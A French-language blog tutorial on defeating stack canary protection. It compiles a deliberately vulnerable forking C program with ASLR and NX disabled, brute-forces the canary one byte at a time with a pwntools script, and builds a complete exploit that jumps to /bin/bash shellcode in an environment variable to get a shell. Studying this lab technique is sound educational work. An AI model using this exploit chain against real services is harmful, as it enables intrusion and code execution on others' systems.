La Stack Smashing Protection: Un canary infaillible?

Par Geluchat, mer. 04 février 2015, dans la catégorie Journal de geluchat

Buffer Overflow, Etude de cas, Tutoriel

Depuis l’avènement des Buffer Overflow dans le début des années 90, les experts en sécurité informatique ont cherché de nouvelles protections contre ce type d'attaques.

Ainsi sont nées bons nombres de protections connues telles que le fameux ASLR(Address Space Layout Randomization) , le NX (Non-executable) ou encore le SOURCE FORTIFY (remplacement de fonctions dangereuses par sa version sécurisée: strcpy=>strncpy).

Mais celle qui a fait le plus parler d'elle dans le monde des failles applicatives reste la Stack Smashing Protection aussi appelée "Canary" ou Cookie.

Voici un petit exemple de ce à quoi ressemble la Stack dans une fonction sur un programme avec la SSP activée.

+-------------------------+
|                         |
|        Save EIP         |
|                         |
+-------------------------+
|                         |
|        Save EBP         |
|                         |
+-------------------------+
|                         |
|        Padding          |
|                         |
+-------------------------+
|                         |
|        Canary           |
|                         |
+-------------------------+
|                         |
|    char badbuffer[64]   |
|                         |
+-------------------------+

On peut voir qu'un Canary été inséré entre notre buffer et le couple EBP (Frame Pointer) et EIP (Return Adress).

Pour mieux comprendre prenons l'exemple suivant:

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <memory.h>

void vuln(char *goodbuffer, int size)
{
    char badbuffer[64];
    memcpy(badbuffer,goodbuffer,size);
}
int main(int argc, char **argv)
{
    int pid,real_size;
    char goodbuffer[256];
    char size[4];
    setbuf(stdout, NULL); // On enleve le buffering de stdout
    while(1)
    {
        pid = fork();
        if( pid == 0 )
        {
            printf("Size: "); // On demande la taille de la chaine à recevoir
            fgets(size, 4 , stdin);
            real_size=atoi(size);
            printf("Input: ");
            fgets(goodbuffer, real_size, stdin);
            goodbuffer[real_size-1]=0;
            vuln(&goodbuffer, real_size-1); // Fonction vulnérable
            printf("Done\n");
        }
        else
        {
            wait(NULL);
        }
    }
    return -1;
}

Le ROP n'est pas l'objet de cet article, nous allons donc désactiver l'ASLR et le NX (-z execstack), on rajoute bien évidement l'option Smash Stack Protection (-fstack-protector).

root@Geluchat:~# echo 0 > /proc/sys/kernel/randomize_va_space # Desactive l'ALSR
root@Geluchat:~# gcc SSPbypass.c -Wall -o SSPbypass -z norelro -z execstack -fstack-protector -m32
root@Geluchat:~# chmod +x SSPbypass
root@Geluchat:~# ./SSPbypass

A la fin de la fonction vuln() le canary est vérifié, s'il a été modifié par l'exploitation d'un Buffer overflow classique on obtient une erreur du type:

*** stack smashing detected ***: SSPbypass - terminated
SSPbypass: stack smashing attack in function  - terminated

Et bien sûr notre exploitation échoue.

Cette protection semble parfaite contre ce type de Buffer overflow, néanmoins elle reste contournable.

En effet, si l'on réécrit le canary par sa vraie valeur pendant l'exploitation, à la fin de la fonction le canary n'aura pas été modifié et le programme continuera son exécution.

Mais cette méthode à un gros défaut, un canary classique fait 4 octets (sur du 32 bits, par exemple 0x61626364) soit 256^4 qui correspond à 1 chance sur 4294967296, autant dire que sur un programme distant, ça reste impossible à exploiter.

La bonne méthode est donc ailleurs.

Pour trouver notre canary, il va falloir procéder en plusieurs fois. Je m'explique, le canary faisant dans notre cas 4 octets:

On peut donc effectuer un bruteforce byte par byte, c'est ce que fait le script suivant:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(arch='i386')
p = 0
e=ELF('./SSPbypass')


def wait(until):
    return p.recvuntil(until)

def start():
    global p, libc
    if p is not 0:
        p.close()
    p = process('./SSPbypass', shell=True)
    wait("Size: ")

def trigger(buf):
    p.writeline(str(len(buf)+1))
    dumb=wait("Input: ")
    p.write(buf) 
    return wait("Size: ")

def leak(bufsize,canarysize):
    leak = ""
    while len(leak) < canarysize:
        for i in xrange(256):
            hex_byte = chr(i)
            buf = "A"*bufsize + leak + hex_byte
            resp=trigger(buf) # On test le cookie byte par byte
            if 'Done' in resp:
                leak += hex_byte
                print("[*] byte : %r" % hex_byte)
                break
            if(i==255):
                raise ValueError('Hum :(')
    return leak

start()
canary=leak(64,4)   
print("[+] Canary %#x" % u32(canary[0:4]))
trigger("A"*64+canary+p32(0)*3+"bbbb") # Rewrite eip par bbbb

Il ne reste plus ensuite qu'à exploiter le programme de manière classique:

# On export notre shellcode dans une variable d'environnement
http://shell-storm.org/shellcode/files/shellcode-606.php execve("/bin/bash", ["/bin/bash", "-p"], NULL)
root@Geluchat:~# export SC=$(python -c "print '\x90'*100+'\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'")
root@Geluchat:~#./getenv SC
0xffffdf3e

getenv.c

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
printf("0x%x\n",getenv(argv[1]));
}

Exploit final :

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(arch='i386')
p = 0
e=ELF('./SSPbypass')


def wait(until):
    return p.recvuntil(until)

def start():
    global p, libc
    if p is not 0:
        p.close()
    p = process('./SSPbypass', shell=True)
    wait("Size: ")

def trigger(buf):
    p.writeline(str(len(buf)+1))
    dumb=wait("Input: ")
    p.write(buf) 
    return wait("Size: ")

def leak(bufsize,canarysize):
    leak = ""
    while len(leak) < canarysize:
        for i in xrange(256):
            hex_byte = chr(i)
            buf = "A"*bufsize + leak + hex_byte
            resp=trigger(buf) # On test le cookie byte par byte
            if 'Done' in resp:
                leak += hex_byte
                print("[*] byte : %r" % hex_byte)
                break
            if(i==255):
                raise ValueError('Hum :(')
    return leak


def getshell():
    log.success("Enjoy your shell!")
    p.sendline("python -c \"import pty;pty.spawn('/bin/bash')\"")
    p.interactive()

start()
canary=leak(64,4)   
print("[+] Canary %#x" % u32(canary[0:4]))
buf="A"*64+canary+p32(0)*3+p32(0xffffdf3e+20) # On ajoute +20 en raison du padding de l'environnement
p.writeline(str(len(buf)+1))
wait("Input: ")
p.write(buf) 
getshell()

Un dernier détail important, le canary, sous certaines distributions, peut contenir des null-bytes, il ne sera bypassable que sous certaines conditions, par exemple l’utilisation d’une fonction recv() couplée à un memcpy() qui sont deux fonctions gérants les null-bytes.

Voila, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.